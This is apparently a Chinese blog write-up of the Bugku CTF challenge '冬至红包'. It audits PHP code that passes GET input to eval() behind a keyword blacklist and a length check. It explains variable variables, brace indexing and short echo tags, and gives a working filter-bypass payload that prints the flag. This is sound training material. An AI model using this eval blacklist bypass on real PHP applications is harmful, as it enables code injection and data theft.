Bugku:冬至红包

打开题目,是一串php代码,显然是考验代码审计的能力了

 1 <?php
 2     error_reporting(0);
 3     require __DIR__.'/flag.php';
 4 
 5     $exam = 'return\''.sha1(time()).'\';';
 6 
 7     if (!isset($_GET['flag'])) {
 8         echo '<a href="./?flag='.$exam.'">Click here</a>';
 9     }
10     else if (strlen($_GET['flag']) != strlen($exam)) {
11         echo '长度不允许';
12     }
13     else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
14         echo '关键字不允许';
15     }
16     else if (eval($_GET['flag']) === sha1($flag)) {
17         echo $flag;
18     }
19     else {
20         echo '马老师发生甚么事了';
21     }
22 
23     echo '<hr>';
24 
25     highlight_file(__FILE__);

第一个if是判断是否用get方法传参变量flag

如果没有的话就显示‘Click here’的连接

第二个if是判断flag变量的长度是否与变量exam的长度 一致

exam变量的长度可以在刚开始的时候点击‘Click here’的连接查看

flag=return'ad718f0e9ae1415c76568cc37ed02004358abc9d';

第三个if是过滤掉了一些字符

第四个if是当传入flag的值等于flag的SHA-1散列时,用eval执行flag变量里的内容(哈希值我实在不知道要怎么相等,先跳过试试看)

因为过滤了flag,就可以利用php中变量是可变变量的特性,使用$$引用变量,下面举个例子

//$$变量使用
<?php
    $a = '1';
    $$a = 'a';
    echo $a."<br/>";
    echo $$a."<br/>";
    echo $1;
>

/*输出值分别如下:
1
a
a
*/

因为[]被过滤了,所以可以使用{}来代替

eval被过滤了,就可以利用php短标签的特性来绕过

”<?=“是php的一个短的开放式标签,是echo()的快捷用法

比如<?php echo "1"?>与<?="1";?>的输出结果一样

****但是要注意,短标签下,eval函数只能解析类似于这样形式的php文件: phpinfo() ?>

现在就可以来构造payload了

flag=$a=flaa;$a{3}=g;111111111111111111111;?><?=$$a;?>

中间插入一段没有意义的数字来凑字数

 

 

成功得到flag

 

posted @ 2021-05-31 20:04  c0d1  阅读(92)  评论(0)    收藏  举报